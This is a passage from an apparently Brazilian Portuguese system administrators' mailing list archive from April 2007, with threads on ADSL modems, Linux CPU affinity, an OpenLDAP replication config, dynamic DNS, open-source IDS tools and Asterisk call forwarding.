> ADSL DSL-500T da D-link, que para a minha aplica??o (internet
compartilhada)
> apresenta
> bons resultados, contra outros (Hauway, Speed-Stream, proprio
D-link (outros
> modelos
> (G,B)) que "travam" constantemente. O problema ? que n?o estou mais
> conseguindo comprar o
> modelo T da D-link, me parece que j? est? saindo do mercado, sendo
> subtituido pelo B, mas
> que trava como os outros.
>
>
> David Magno Santos de Almeida
> Suporte T?cnico
> InfoNet - Solu??es Internet
> (0xx79) 2106-8000/? (0xx79) 9978-7925
> david at infonet.com.br
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l[2]
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l[3]
>

   David Magno Santos de Almeida
Suporte T?cnico
InfoNet - Solu??es Internet
(0xx79) 2106-8000/? (0xx79) 9978-7925
david at infonet.com.br

Links:
------
[1] http://www.grupouds.com.br/
[2] https://eng.registro.br/mailman/listinfo/masoch-l
[3] https://eng.registro.br/mailman/listinfo/masoch-l




From danton at inexo.com.br  Mon Apr 23 15:23:52 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Mon, 23 Apr 2007 15:23:52 -0300 (BRT)
Subject: [MASOCH-L] Duplo Processador
In-Reply-To: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
References: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
Message-ID: <Pine.LNX.4.60.0704231522100.3872@newquantum.inexo.com.br>

On Mon, 23 Apr 2007, JOAO CARLOS MOURA wrote:

> Adquiri um DELL 2950 Power Edger com dois processadores e instalei o
> Centos 4 Linux version 2.6.9-42.0.2.ELsmp.
> Quando fa?o cat /proc/cpuinfo aparecem 8 processadores.

normal. 4 processadores dual core  ou  HT = 8 processadores.

> Minhas d?vidas s?o:
> O linux gerencia automaticamente esses processadores ou tenho que
> fazer alguma modificacao no kernel para ter melhor aproveitamento da maquina?

pode deixar que ele se vira e muito bem.

> Existe alguma forma de especificar uma aplicacao para um determinado
> processador?

n?o. a aplica??o vai mudar de processador v?rias vezes. ? normal e 
desej?vel isso.



From fabiano.br at uol.com.br  Mon Apr 23 15:22:54 2007
From: fabiano.br at uol.com.br (Fabiano)
Date: Mon, 23 Apr 2007 15:22:54 -0300
Subject: [MASOCH-L] modem ADSL
In-Reply-To: <20070423143948.5d346xfh2g4cw0kg@wbeta.infonet.com.br>
References: <1177334588.462cb33cd4e2b@webmail.infonet.com.br>
	<000e01c785b0$7f3eaa20$a801a8c0@uds68514a09ca7>
	<20070423143948.5d346xfh2g4cw0kg@wbeta.infonet.com.br>
Message-ID: <7.0.1.0.2.20070423152111.0435c600@uol.com.br>


opa,

         J? n?o s?o modems muito comuns no 
mercado,por?m dos que a telef?nica distribui em 
SP eu ainda o considero (parks 642) o melhor ....
         Voc? deve encontrar mais facilmente no 
mercado livre, e sites do g?nero. ...

[]s
Fabiano

At 14:39 23/4/2007, you wrote:
>Citando Rafael Augusto <rafael at grupouds.com.br>:
>
> > David,
> >
> >          Particularmente gosto dos 3COM Officeconnect 812 e do Parks
>Zyxel
> > prestige 642.
> >
> > Att,
> >                  Rafael Augusto
>
>     Voce saberia indicar alguma fonte de venda para esse modem Parks Zyxel?
>
>
> >
> > _____________________________
> >       UDS - Solu??es Digitais
> >    http://www.grupouds.com.br[1]
> >            (44) 3029-1333
> >
> > ----- Original Message -----
> > From: <david at infonet.com.br>
> > To: <masoch-l at eng.registro.br>
> > Sent: Monday, April 23, 2007 10:23 AM
> > Subject: [MASOCH-L] modem ADSL
> >
> >
> >
> >     Ol? pessoal,
> >
> >     Gostaria de saber a opni?o de voces sobre um bom modem ADSL.
>Trabalho
> > atualmente com o
> > ADSL DSL-500T da D-link, que para a minha aplica??o (internet
>compartilhada)
> > apresenta
> > bons resultados, contra outros (Hauway, Speed-Stream, proprio
>D-link (outros
> > modelos
> > (G,B)) que "travam" constantemente. O problema ? que n?o estou mais
> > conseguindo comprar o
> > modelo T da D-link, me parece que j? est? saindo do mercado, sendo
> > subtituido pelo B, mas
> > que trava como os outros.
> >
> >
> > David Magno Santos de Almeida
> > Suporte T?cnico
> > InfoNet - Solu??es Internet
> > (0xx79) 2106-8000/  (0xx79) 9978-7925
> > david at infonet.com.br
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l[2]
> >
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l[3]
> >
>
>    David Magno Santos de Almeida
>Suporte T?cnico
>InfoNet - Solu??es Internet
>(0xx79) 2106-8000/  (0xx79) 9978-7925
>david at infonet.com.br
>
>Links:
>------
>[1] http://www.grupouds.com.br/
>[2] https://eng.registro.br/mailman/listinfo/masoch-l
>[3] https://eng.registro.br/mailman/listinfo/masoch-l
>
>
>__
>masoch-l list
>https://eng.registro.br/mailman/listinfo/masoch-l



From cleberps at gmail.com  Mon Apr 23 15:30:45 2007
From: cleberps at gmail.com (Cleber P. de Souza)
Date: Mon, 23 Apr 2007 15:30:45 -0300
Subject: [MASOCH-L] Duplo Processador
In-Reply-To: <Pine.LNX.4.60.0704231522100.3872@newquantum.inexo.com.br>
References: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
	<Pine.LNX.4.60.0704231522100.3872@newquantum.inexo.com.br>
Message-ID: <bd2415a70704231130kb21ab86ndf39de852145ddf0@mail.gmail.com>

Com o taskset voc? pode especificar uma aplica??o pra um determinado
processador.
http://kbase.redhat.com/faq/FAQ_43_3918.shtm


On 4/23/07, Lao DanTong <danton at inexo.com.br> wrote:
> On Mon, 23 Apr 2007, JOAO CARLOS MOURA wrote:
>
> > Adquiri um DELL 2950 Power Edger com dois processadores e instalei o
> > Centos 4 Linux version 2.6.9-42.0.2.ELsmp.
> > Quando fa?o cat /proc/cpuinfo aparecem 8 processadores.
>
> normal. 4 processadores dual core  ou  HT = 8 processadores.
>
> > Minhas d?vidas s?o:
> > O linux gerencia automaticamente esses processadores ou tenho que
> > fazer alguma modificacao no kernel para ter melhor aproveitamento da maquina?
>
> pode deixar que ele se vira e muito bem.
>
> > Existe alguma forma de especificar uma aplicacao para um determinado
> > processador?
>
> n?o. a aplica??o vai mudar de processador v?rias vezes. ? normal e
> desej?vel isso.
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
***
Cleber P. de Souza


From jmoura at ninetel.com.br  Mon Apr 23 15:30:49 2007
From: jmoura at ninetel.com.br (JOAO CARLOS MOURA)
Date: Mon, 23 Apr 2007 15:30:49 -0300
Subject: [MASOCH-L] Duplo processador
Message-ID: <006201c785d5$85e6c450$0301a8c0@bobsponja>

Muito obrigado pelas informa??es.

Grande abra?o pra todos.

Jo?o Carlos Moura
jmoura at crdusa.net

NINETEL TELCO,Inc
168 SE 1ST Street Suite 603) 
Miami - FL - USA
Direct Phone   1 786 272 0189
Sales/Support 1 786 522 7219
http://www.ninetelusa.com

From jczucco at ucs.br  Mon Apr 23 16:04:12 2007
From: jczucco at ucs.br (Jeronimo Zucco)
Date: Mon, 23 Apr 2007 16:04:12 -0300
Subject: [MASOCH-L] Duplo Processador
In-Reply-To: <Pine.LNX.4.60.0704231522100.3872@newquantum.inexo.com.br>
References: <005801c785ca$b08ff1a0$0301a8c0@bobsponja>
	<Pine.LNX.4.60.0704231522100.3872@newquantum.inexo.com.br>
Message-ID: <462D032C.6060907@ucs.br>

Lao DanTong escreveu:
> On Mon, 23 Apr 2007, JOAO CARLOS MOURA wrote:
>
>   
>> Adquiri um DELL 2950 Power Edger com dois processadores e instalei o
>> Centos 4 Linux version 2.6.9-42.0.2.ELsmp.
>> Quando fa?o cat /proc/cpuinfo aparecem 8 processadores.
>>     
>
> normal. 4 processadores dual core  ou  HT = 8 processadores.
>
>   
>> Minhas d?vidas s?o:
>> O linux gerencia automaticamente esses processadores ou tenho que
>> fazer alguma modificacao no kernel para ter melhor aproveitamento da maquina?
>>     
>
> pode deixar que ele se vira e muito bem.
>
>   
>> Existe alguma forma de especificar uma aplicacao para um determinado
>> processador?
>>     
>
> n?o. a aplica??o vai mudar de processador v?rias vezes. ? normal e 
> desej?vel isso.
>
>   
Cpu fidelity com taskset (pacote schedutils do Robert Love) no linux . 
Eu uso isso e funciona muito bem.

> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   


-- 
Jeronimo Zucco
LPIC-1 Linux Professional Institute Certified
N?cleo de Processamento de Dados
Universidade de Caxias do Sul

http://jczucco.blogspot.com



From fabiano.br at uol.com.br  Mon Apr 23 17:27:09 2007
From: fabiano.br at uol.com.br (Fabiano)
Date: Mon, 23 Apr 2007 17:27:09 -0300
Subject: [MASOCH-L] vagas - java [ off-Topic ]
Message-ID: <7.0.1.0.2.20070423171816.044cde80@fabiano.net>


Boa tarde Senhores,

         Quero expor a disponibilidade de 02 
vagas em empresa multinacional para o perfil de desenvolvedor Java.
         Imprescind?vel que o local de trabalho seja em SP/SP.
         Por ser off-topic, solicito o envio de 
curriculms diretamente para meu e-mail.


>Perfil:
>--------
>- Analista Desenvolvedor Pleno/Sr.
>- Perfil de desenvolvedor, facilidade para 
>desenvolver novas aplica??es e dar manuten??o em aplica??es existentes.
>- Experi?ncia em JAVA, J2EE, JavaScript, HTML, CSS, PL/SQL.
>- Experi?ncia em banco de dados Oracle.
>- Facilidade para escrever documentos t?cnicos.
>- Experi?ncia em ambiente UNIX/LINUX, shell script, perl.
>- Experi?ncia em Tomcat e/ou iPlanet.
>- Comunicativo (intera??o entre ?reas e pessoas com perfis distintos)
>- Disponibilidade imediata e disponibilidade 
>para poder trabalhar 04 meses na Europa.
>- Desej?vel espanhol ou ingl?s Intermedi?rio.




Muito Grato a todos,
Fabiano Soares



From mbonani at gmail.com  Mon Apr 23 18:16:18 2007
From: mbonani at gmail.com (Mauricio Bonani)
Date: Mon, 23 Apr 2007 18:16:18 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?Software_de_apresenta=E7=E3o?=
Message-ID: <2e98af190704231416y3d97b5e9ga58356f38cd03202@mail.gmail.com>

Algum dos colegas conhece um software semelhante ao Worship Him
[http://www.worship-him.com/], mas que seja voltado a apresenta??es
comerciais?
O Worship Him ? espec?fico para igrejas.
Achei muito interessante voc? poder trabalhar numa parte apresenta??o
enquanto outra ? exibida pelo projetor.

-- 
Mauricio Bonani
LPIC-1
mailto:mbonani at gmail.com


From jonny at jonny.eng.br  Mon Apr 23 22:57:58 2007
From: jonny at jonny.eng.br (=?ISO-8859-1?Q?Jo=E3o_Carlos_Mendes_Lu=EDs?=)
Date: Mon, 23 Apr 2007 22:57:58 -0300
Subject: [MASOCH-L] modem ADSL
In-Reply-To: <1177334588.462cb33cd4e2b@webmail.infonet.com.br>
References: <1177334588.462cb33cd4e2b@webmail.infonet.com.br>
Message-ID: <462D6426.2080901@jonny.eng.br>

david at infonet.com.br wrote:
>    Ol? pessoal,
>
>    Gostaria de saber a opni?o de voces sobre um bom modem ADSL. Trabalho atualmente com o 
> ADSL DSL-500T da D-link, que para a minha aplica??o (internet compartilhada) apresenta 
> bons resultados, contra outros (Hauway, Speed-Stream, proprio D-link (outros modelos 
> (G,B)) que "travam" constantemente. O problema ? que n?o estou mais conseguindo comprar o 
> modelo T da D-link, me parece que j? est? saindo do mercado, sendo subtituido pelo B, mas 
> que trava como os outros.
>   

O que voce chama de "travar".  Quando ele ? usado como roteador?

Eu tenho um DSL500B, e ele travava toda vez que o n?mero de conexoes 
simult?neas crescia muito.  Olhando as mensagens do syslog, parece que 
ele tem um limite de 1000, e nem sei se aguenta isso tudo.  A solu??o 
foi usar ele como bridge, e deixar o sistema operacional fazer o PPPoE.  
Nunca mais deu problema.

                                        Jonny

-- 
Jo?o Carlos Mendes Lu?s - Networking Engineer - jonny at jonny.eng.br



From david at infonet.com.br  Tue Apr 24 08:12:26 2007
From: david at infonet.com.br (david at infonet.com.br)
Date: Tue, 24 Apr 2007 08:12:26 -0300
Subject: [MASOCH-L] modem ADSL
In-Reply-To: <462D6426.2080901@jonny.eng.br>
References: <1177334588.462cb33cd4e2b@webmail.infonet.com.br>
	<462D6426.2080901@jonny.eng.br>
Message-ID: <20070424081226.c7stnegu84k4wgws@wbeta.infonet.com.br>

Citando Jo?o Carlos Mendes Lu?s <jonny at jonny.eng.br>:

> david at infonet.com.br wrote:
>> ? ? Ol? pessoal,
>>
>> ? ? Gostaria de saber a opni?o de voces sobre um bom modem ADSL.
Trabalho atualmente com o
>> ADSL DSL-500T da D-link, que para a minha aplica??o (internet
compartilhada) apresenta
>> bons resultados, contra outros (Hauway, Speed-Stream, proprio?  
>> D-link (outros modelos
>> (G,B)) que "travam" constantemente. O problema ? que n?o estou
mais conseguindo comprar o
>> modelo T da D-link, me parece que j? est? saindo do mercado, sendo
subtituido pelo B, mas
>> que trava como os outros.
>>
>
> O que voce chama de "travar".? Quando ele ? usado como roteador?

Sim

>
> Eu tenho um DSL500B, e ele travava toda vez que o n?mero de
conexoes
> simult?neas crescia muito.? Olhando as mensagens do syslog, parece
que
> ele tem um limite de 1000, e nem sei se aguenta isso tudo.? A
solu??o
> foi usar ele como bridge, e deixar o sistema operacional fazer o
PPPoE.
> Nunca mais deu problema.

Concordo, tambem fazemos isso quando o ambiente permite.


>
> ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?Jonny
>
> --
> Jo?o Carlos Mendes Lu?s - Networking Engineer - jonny at jonny.eng.br
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l[1]
>

   David Magno Santos de Almeida
Suporte T?cnico
InfoNet - Solu??es Internet
(0xx79) 2106-8000/? (0xx79) 9978-7925
david at infonet.com.br

Links:
------
[1] https://eng.registro.br/mailman/listinfo/masoch-l




From edison at coslinux.com.br  Tue Apr 24 12:16:18 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Tue, 24 Apr 2007 08:16:18 -0700
Subject: [MASOCH-L] LDAP Sync Replication
In-Reply-To: <200701241530.44230.guedes@unisul.br>
References: <d9415c6b0701231021i4319f6aar9f4805c43a04d11c@mail.gmail.com>
	<200701241530.44230.guedes@unisul.br>
Message-ID: <462E1F42.5060507@coslinux.com.br>

Ol? a todos,

Algu?m j? utilizou o syncrepl (LDAP Sync Replication) do openldap para 
Linux?

Preciso manter um servidor LDAP espelhado em outra m?quina mas estou com 
algumas d?vidas.

Qualquer ajuda ? bem vinda.

Obrigado,

Edison




From filipealvarez at gmail.com  Tue Apr 24 12:19:35 2007
From: filipealvarez at gmail.com (Filipe Alvarez)
Date: Tue, 24 Apr 2007 12:19:35 -0300
Subject: [MASOCH-L] LDAP Sync Replication
In-Reply-To: <462E1F42.5060507@coslinux.com.br>
References: <d9415c6b0701231021i4319f6aar9f4805c43a04d11c@mail.gmail.com>
	<200701241530.44230.guedes@unisul.br>
	<462E1F42.5060507@coslinux.com.br>
Message-ID: <3e542ead0704240819kfca1ce8m43fd7ce825b41e0d@mail.gmail.com>

Ol?, seja mais espec?fico, quem sabe alguem possa lhe ajudar...

Att,
Filipe.

Em 24/04/07, Edison Bortolin <edison at coslinux.com.br> escreveu:
>
> Ol? a todos,
>
> Algu?m j? utilizou o syncrepl (LDAP Sync Replication) do openldap para
> Linux?
>
> Preciso manter um servidor LDAP espelhado em outra m?quina mas estou com
> algumas d?vidas.
>
> Qualquer ajuda ? bem vinda.
>
> Obrigado,
>
> Edison
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From edison at coslinux.com.br  Tue Apr 24 12:36:51 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Tue, 24 Apr 2007 08:36:51 -0700
Subject: [MASOCH-L] LDAP Sync Replication
In-Reply-To: <3e542ead0704240819kfca1ce8m43fd7ce825b41e0d@mail.gmail.com>
References: <d9415c6b0701231021i4319f6aar9f4805c43a04d11c@mail.gmail.com>	<200701241530.44230.guedes@unisul.br>	<462E1F42.5060507@coslinux.com.br>
	<3e542ead0704240819kfca1ce8m43fd7ce825b41e0d@mail.gmail.com>
Message-ID: <462E2413.6020302@coslinux.com.br>

Ol? Filipe,

Adicionei os comandos abaixo no /etc/openldap/slapd.conf do LDAP principal.

overlay syncprov
syncprov-checkpoint 100 10
syncprov-sessionlog 100

E configurei o /etc/openldap/slapd.conf da replica assim:

database hdb
suffix dc=[DC]
rootdn cn=Manager,dc=[DC]
directory /var/ldap/db
index objectclass,entryCSN,entryUUID eq

syncrepl rid=123
      provider=ldap://[IP]:389
      type=refreshOnly
      interval=00:00:30:00
      searchbase="dc=[DC]"
      filter="(objectClass=organizationalPerson)"
      scope=sub
      attrs="cn,sn,ou,telephoneNumber,title,l"
      schemachecking=off
      bindmethod=simple
      binddn="cn=Manager,dc=[DC]"
      credentials=[PASS]

Onde:

 [DC] =  dc configurado no servidor LDAP master
 [IP] = ip do servidor LDAP master
 [PASS] = senha para conex?o

Quando tento iniciar o LDAP na r?plica com o comando "service ldap 
start" a seguinte mensagem de erro ? exibida:

"slaptest: bad configuration file!"

S? preciso de um exemplo de como faz?-lo funcionar como r?plica.

Obrigado,

Edison

Filipe Alvarez escreveu:
> Ol?, seja mais espec?fico, quem sabe alguem possa lhe ajudar...
>
> Att,
> Filipe.
>
> Em 24/04/07, Edison Bortolin <edison at coslinux.com.br> escreveu:
>   



From rafaelpossa at gmail.com  Tue Apr 24 21:30:56 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Tue, 24 Apr 2007 21:30:56 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?dns_din=E2mico_com_fqdn?=
Message-ID: <000e01c786d1$010dffd0$0200a8c0@OASIS>

Ol?,    

Algu?m conhece um servi?o de dns din?mico que funcione com dom?nios qualificados tipo um .com.br? Em vez de ter um subdom?nio, por exemplo 123.dyndns.org, eu utilizo meu '123.com.br' e nas configura??es no registro.br eu utilizo os nameservers desse sistema.


Grato,
Rafael

From mbonani at gmail.com  Wed Apr 25 08:32:22 2007
From: mbonani at gmail.com (Mauricio Bonani)
Date: Wed, 25 Apr 2007 08:32:22 -0300
Subject: [MASOCH-L] Webmail com RSS
Message-ID: <2e98af190704250432t4a16d30fj6f5031f78feeb5ab@mail.gmail.com>

Existe algum webmail que possua RSS, semelhante ao GMail?

-- 
Mauricio Bonani
LPIC-1
mailto:mbonani at gmail.com


From fabiano.br at uol.com.br  Wed Apr 25 09:55:17 2007
From: fabiano.br at uol.com.br (Fabiano)
Date: Wed, 25 Apr 2007 09:55:17 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?dns_din=E2mico_com_fqdn?=
In-Reply-To: <000e01c786d1$010dffd0$0200a8c0@OASIS>
References: <000e01c786d1$010dffd0$0200a8c0@OASIS>
Message-ID: <7.0.1.0.2.20070425095456.04084278@uol.com.br>



http://freedns.afraid.org/  ?




At 21:30 24/4/2007, you wrote:
>Ol?,
>
>Algu?m conhece um servi?o de dns din?mico que 
>funcione com dom?nios qualificados tipo um 
>.com.br? Em vez de ter um subdom?nio, por 
>exemplo 123.dyndns.org, eu utilizo meu 
>'123.com.br' e nas configura??es no registro.br 
>eu utilizo os nameservers desse sistema.
>
>
>Grato,
>Rafael
>__
>masoch-l list
>https://eng.registro.br/mailman/listinfo/masoch-l



From welkson at focusautomacao.com.br  Wed Apr 25 10:39:31 2007
From: welkson at focusautomacao.com.br (Welkson Renny de Medeiros)
Date: Wed, 25 Apr 2007 10:39:31 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?dns_din=E2mico_com_fqdn?=
In-Reply-To: <7.0.1.0.2.20070425095456.04084278@uol.com.br>
References: <7.0.1.0.2.20070425095456.04084278@uol.com.br>
Message-ID: <20070425133931.21499.qmail@hm506.locaweb.com.br>

Rafael,


Utilizo o www.everydns.net a bastante tempo e funciona muito bem... 

Recentemente soube tamb?m do www.superdns.com.br, mas realmente nunca testei... n?o sei nada sobre a disponibilidade dele...

Abra?o,


-- 
Welkson Renny de Medeiros
Focus Automa??o Comercial
Desenvolvimento / Ger?ncia de Redes
welkson at focusautomacao.com.br




 Wed, 25 Apr 2007 09:55:17 -0300, Fabiano <fabiano.br at uol.com.br> escreveu:

> 
> 
> http://freedns.afraid.org/  ?
> 
> 
> 
> 
> At 21:30 24/4/2007, you wrote:
> >Ol?,
> >
> >Algu?m conhece um servi?o de dns din?mico que 
> >funcione com dom?nios qualificados tipo um 
> >.com.br? Em vez de ter um subdom?nio, por 
> >exemplo 123.dyndns.org, eu utilizo meu 
> >'123.com.br' e nas configura??es no registro.br 
> >eu utilizo os nameservers desse sistema.
> >
> >
> >Grato,
> >Rafael
> >__
> >masoch-l list
> >https://eng.registro.br/mailman/listinfo/masoch-l
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
> 
> 
> 


From MBORBA at trf3.gov.br  Wed Apr 25 13:16:19 2007
From: MBORBA at trf3.gov.br (MARLON BORBA)
Date: Wed, 25 Apr 2007 13:16:19 -0300
Subject: [MASOCH-L] =?windows-1252?q?Sugest=F5es_de_IDS/IPS_=22Open-Source?=
	=?windows-1252?q?=22?=
Message-ID: <s62f54c3.045@server-trf8.trf3.gov.br>

Prezados,

Todos ainda usam o velho e bom porco (Snort + BASE) ou j? existem solu??es IDS/IPS que eu deva levar em conta?




From pietro at riseup.net  Wed Apr 25 13:45:32 2007
From: pietro at riseup.net (pietro)
Date: Wed, 25 Apr 2007 13:45:32 -0300
Subject: [MASOCH-L]
 =?windows-1252?q?Sugest=F5es_de_IDS/IPS_=22Open-Source?=
 =?windows-1252?q?=22?=
In-Reply-To: <s62f54c3.045@server-trf8.trf3.gov.br>
References: <s62f54c3.045@server-trf8.trf3.gov.br>
Message-ID: <462F85AC.8080506@riseup.net>

MARLON BORBA wrote:

> Todos ainda usam o velho e bom porco (Snort + BASE) ou j? existem
> solu??es IDS/IPS que eu deva levar em conta?

estou testando o hlbr http://hlbr.sourceforge.net/

pietro.


From fabiano.br at uol.com.br  Wed Apr 25 13:53:38 2007
From: fabiano.br at uol.com.br (Fabiano)
Date: Wed, 25 Apr 2007 13:53:38 -0300
Subject: [MASOCH-L]
 =?iso-8859-1?q?Sugest=F5es_de_IDS/IPS__=22Open-Source_?=
 =?iso-8859-1?q?=22?=
In-Reply-To: <462F85AC.8080506@riseup.net>
References: <s62f54c3.045@server-trf8.trf3.gov.br>
	<462F85AC.8080506@riseup.net>
Message-ID: <7.0.1.0.2.20070425135328.03e6e118@uol.com.br>


suas impress?es at? agora ?
[]s
Fabiano

At 13:45 25/4/2007, you wrote:
>MARLON BORBA wrote:
>
> > Todos ainda usam o velho e bom porco (Snort + BASE) ou j? existem
> > solu??es IDS/IPS que eu deva levar em conta?
>
>estou testando o hlbr http://hlbr.sourceforge.net/
>
>pietro.
>__
>masoch-l list
>https://eng.registro.br/mailman/listinfo/masoch-l



From danton at inexo.com.br  Wed Apr 25 13:23:47 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Wed, 25 Apr 2007 13:23:47 -0300 (BRT)
Subject: [MASOCH-L]
 =?windows-1252?q?Sugest=F5es_de_IDS/IPS_=22Open-Source?=
 =?windows-1252?q?=22?=
In-Reply-To: <s62f54c3.045@server-trf8.trf3.gov.br>
References: <s62f54c3.045@server-trf8.trf3.gov.br>
Message-ID: <Pine.LNX.4.60.0704251323290.20138@newquantum.inexo.com.br>

On Wed, 25 Apr 2007, MARLON BORBA wrote:

> Prezados,
>
> Todos ainda usam o velho e bom porco (Snort + BASE) ou j? existem solu??es IDS/IPS que eu deva levar em conta?
>

ainda estou com o bom e velho porc?o!


From rafaelpossa at gmail.com  Wed Apr 25 14:13:02 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Wed, 25 Apr 2007 14:13:02 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?dns_din=E2mico_com_fqdn?=
References: <7.0.1.0.2.20070425095456.04084278@uol.com.br>
	<20070425133931.21499.qmail@hm506.locaweb.com.br>
Message-ID: <007801c7875c$ff18e0f0$0200a8c0@OASIS>

Ol?,

    Valeu pelas dicas, o everydns e o freedns.afraid me servir?o 
perfeitamente.


Rafael


----- Original Message ----- 
From: "Welkson Renny de Medeiros" <welkson at focusautomacao.com.br>
Subject: Re: [MASOCH-L] dns din?mico com fqdn


Rafael,
Utilizo o www.everydns.net a bastante tempo e funciona muito bem...
-- 
>
> http://freedns.afraid.org/  ?
>
-- 



From rodrigo at faculdadedecision.com.br  Wed Apr 25 14:24:50 2007
From: rodrigo at faculdadedecision.com.br (Rodrigo)
Date: Wed, 25 Apr 2007 14:24:50 -0300
Subject: [MASOCH-L]
 =?windows-1252?q?Sugest=F5es_de_IDS/IPS_=22Open-Source?=
 =?windows-1252?q?=22?=
In-Reply-To: <s62f54c3.045@server-trf8.trf3.gov.br>
References: <s62f54c3.045@server-trf8.trf3.gov.br>
Message-ID: <462F8EE2.1080003@faculdadedecision.com.br>

que tal HLBR ?

http://hlbr.sourceforge.net/


MARLON BORBA escreveu:
> Prezados,
>
> Todos ainda usam o velho e bom porco (Snort + BASE) ou j? existem solu??es IDS/IPS que eu deva levar em conta?
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 25/04/2007 / Vers?o: 5.1.00/5017
> Proteja o seu e-mail Terra: http://mail.terra.com.br/
>
>
>
>   




From marcelo at tpn.com.br  Wed Apr 25 14:35:02 2007
From: marcelo at tpn.com.br (Marcelo Coelho)
Date: Wed, 25 Apr 2007 14:35:02 -0300
Subject: [MASOCH-L] [off-topic] Software para encaminhar chamadas
Message-ID: <462F9146.9080207@tpn.com.br>

Ol?,

Essa ? totalmente:

Algu?m conhece algum software que encaminhe chamadas de um telefone para 
outro telefone?

Por exemplo: algu?m liga para um n?mero fixo, o sistema atende com uma 
espera musical enquanto liga para um telefone celular.

Muito obrigado.

-- 
Marcelo Coelho
marcelo at tpn.com.br


From marcelo at standardnet.com.br  Wed Apr 25 15:15:28 2007
From: marcelo at standardnet.com.br (Marcelo Estanislau)
Date: Wed, 25 Apr 2007 15:15:28 -0300
Subject: [MASOCH-L] [off-topic] Software para encaminhar chamadas
In-Reply-To: <462F9146.9080207@tpn.com.br>
References: <462F9146.9080207@tpn.com.br>
Message-ID: <462F9AC0.3050105@standardnet.com.br>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Ol?,

Asterisk faz isso.

Abra?os,


Marcelo Estanislau Geyer
marcelo at standardnet.com.br
Standard Net Tecnologia e Informa??o
http://www.standardnet.com.br
- --
PGP Key: http://www.keyserver.net - Key ID 0x5812DE5E


Marcelo Coelho escreveu:
> Ol?,
> 
> Essa ? totalmente:
> 
> Algu?m conhece algum software que encaminhe chamadas de um telefone para 
> outro telefone?
> 
> Por exemplo: algu?m liga para um n?mero fixo, o sistema atende com uma 
> espera musical enquanto liga para um telefone celular.
> 
> Muito obrigado.
> 
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iQCVAwUBRi+awI+bwQJYEt5eAQJn/gP+M0QXcIDhPX9/UrAR/VA74lCh6gIEH6Gk
O8RXiDVZJ7Dl1FaXIOYiDdMrBeH3TVGjIbKlOjBRgomVisb86DdgHokA+ZouZkp3
M9y9BhvO1E0e9d8AEnvSwqE4sgVb2vQeZUXyTgj47+RTcqJLbtw8BnYeydx/uyd9
S/hpcG2X4bg=
=0IM+
-----END PGP SIGNATURE-----


From marcelo at tpn.com.br  Wed Apr 25 15:51:10 2007
From: marcelo at tpn.com.br (Marcelo Coelho)
Date: Wed, 25 Apr 2007 15:51:10 -0300
Subject: [MASOCH-L] [off-topic] Software para encaminhar chamadas
In-Reply-To: <462F9AC0.3050105@standardnet.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
Message-ID: <462FA31D.1050008@tpn.com.br>

E pra Windows, existe algum?

Preciso apenas que o software atenda a chamada no modem da COM1 e fa?a 
uma liga??o usando o modem da COM2.

Todos os programas que encontrei para Windows s?o feitos para VoIP.


From lyra at pop-pr.rnp.br  Wed Apr 25 16:34:22 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Wed, 25 Apr 2007 16:34:22 -0300
Subject: [MASOCH-L] [off-topic] Software para encaminhar chamadas
In-Reply-To: <462FA31D.1050008@tpn.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br>
Message-ID: <200704251634.22434.lyra@pop-pr.rnp.br>

On Wednesday 25 April 2007 15:51, Marcelo Coelho wrote:
>  E pra Windows, existe algum?
>
>  Preciso apenas que o software atenda a chamada no modem da COM1 e
> fa?a uma liga??o usando o modem da COM2.
>
>  Todos os programas que encontrei para Windows s?o feitos para VoIP.


com porta COM n?o vai funcionar... vc precisa de placas FXO. 

N?s fazemos o que vc quer fazer com o asterisk (linux ? claro). 
Inclusive controlamos o numero de toques/mensagem de acordo com o 
hor?rio (comercial ou n?o).

-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  ``Let the programmers be many and the managers few - then all will be 
productive.'' 
						The Tao Of Programing


From rubens.marins at gmail.com  Wed Apr 25 16:36:21 2007
From: rubens.marins at gmail.com (Rubens Marins)
Date: Wed, 25 Apr 2007 16:36:21 -0300
Subject: [MASOCH-L] [off-topic] Software para encaminhar chamadas
In-Reply-To: <462FA31D.1050008@tpn.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br>
Message-ID: <4fe8c9440704251236t7f8b0288le9c8af1e1f5973e6@mail.gmail.com>

